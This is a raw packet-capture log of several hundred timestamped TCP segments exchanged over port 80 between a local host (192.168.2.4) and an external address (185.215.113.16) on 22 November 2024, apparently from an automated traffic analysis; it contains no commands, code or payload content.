Nov 22, 2024 04:12:28.188514948 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188522100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188529968 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188540936 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188556910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188568115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188572884 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188591957 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188602924 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188613892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188636065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188637972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188654900 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188662052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188669920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188683987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188697100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188707113 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188719988 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188724995 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188743114 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188752890 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188756943 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188776016 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188788891 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188796997 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188815117 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188822031 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188827038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188844919 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188857079 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188867092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188884974 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188899040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188920021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188931942 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188931942 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188946962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188949108 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188968897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.188983917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.188987970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189007044 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189013004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189024925 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189035892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189050913 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189055920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189074039 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189084053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189090014 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189109087 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189121962 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189127922 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189145088 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189153910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189166069 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189191103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189203978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189224958 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189243078 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189249039 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189268112 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189275980 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189281940 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189307928 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189315081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189327955 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189351082 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189368010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189378023 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189388037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189402103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189414024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189429045 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189440012 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189451933 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189459085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189481020 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189485073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189497948 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189505100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189522028 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189532995 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189541101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189553022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189569950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189579010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189593077 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189598083 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189610958 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189625025 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189635038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189647913 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189660072 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189671993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189686060 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189693928 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189708948 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189716101 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189730883 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189735889 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189754009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189763069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189770937 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189783096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189802885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189810038 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189821005 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189830065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189847946 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189853907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189860106 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189873934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189891100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189903021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189910889 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189925909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189939022 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189948082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189960957 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189968109 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.189984083 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.189995050 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190002918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190017939 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190027952 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190041065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190052986 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190061092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190077066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190088987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190098047 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190113068 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190123081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190135956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190148115 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190157890 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190171957 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190176964 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190191984 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190202951 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190210104 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190226078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190241098 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190256119 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190259933 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190275908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190294027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190301895 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190311909 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190321922 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190337896 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190347910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190351963 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190371037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190383911 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190390110 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190404892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190416098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190428019 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190435886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190452099 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190469027 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190474033 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190489054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190505981 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190515041 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190526009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190536022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190551996 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190562963 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190571070 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190589905 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190598965 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190613031 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190623999 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190633059 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190649033 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190660954 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190670967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190680027 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.190696001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.190712929 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.191189051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.191230059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.191309929 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.191356897 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.192326069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.192364931 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.192433119 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.192478895 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.193432093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.193475962 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.193547010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.193586111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.194525957 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.194566011 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.194608927 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.194648027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.195619106 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.195658922 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.195727110 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.195768118 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.196724892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.196764946 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.196830034 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.196871042 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.197874069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.197954893 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.197973967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.197992086 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.198982000 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.199019909 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.199058056 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.199096918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.200078964 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.200119019 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.200165987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.200206041 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.201154947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.201204062 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.201246977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.201289892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.202307940 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.202347040 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.202358007 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.202394962 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.203438044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.203479052 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.203526020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.203562975 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.204500914 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.204554081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.204597950 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.204638004 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.205609083 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.205651999 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.205724001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.205764055 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.206732988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.206772089 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.206847906 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.206886053 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.207777977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.207818031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.350899935 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.350929022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.350969076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.350970984 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.351069927 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.351130009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.351130009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.351130009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.351922989 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.351963997 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.352031946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.352070093 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.352664948 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.352705002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.352781057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.352818966 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.353533983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.353574038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.353646994 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.353687048 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.354399920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.354439020 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.354516983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.354554892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.355269909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.355309010 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.355369091 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.355407953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.356110096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.356148005 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.356223106 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.356261969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.356986046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.357027054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.357033968 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.357072115 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.357856989 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.357902050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.357992887 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.358058929 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.358716965 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.358772039 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.358810902 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.358858109 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.359574080 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.359620094 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.359664917 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.359700918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.360431910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.360472918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.360517025 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.360555887 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.361315012 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.361354113 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.361416101 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.361452103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.362154007 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.362193108 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.362261057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.362298965 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.363035917 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.363076925 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.363157034 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.363193989 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.363888979 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.363929033 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.363981009 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.364018917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.364748001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.364788055 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.364837885 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.364872932 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.365618944 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.365655899 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.365720987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.365756035 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.366482973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.366523981 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.366604090 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.366643906 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.367352962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.367393017 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.367456913 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.367499113 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.368200064 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.368238926 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.368293047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.368330956 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.369095087 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.369133949 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.369219065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.369256020 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.369949102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.369986057 CET	49798	80	192.168.2.4	185.215.113.16
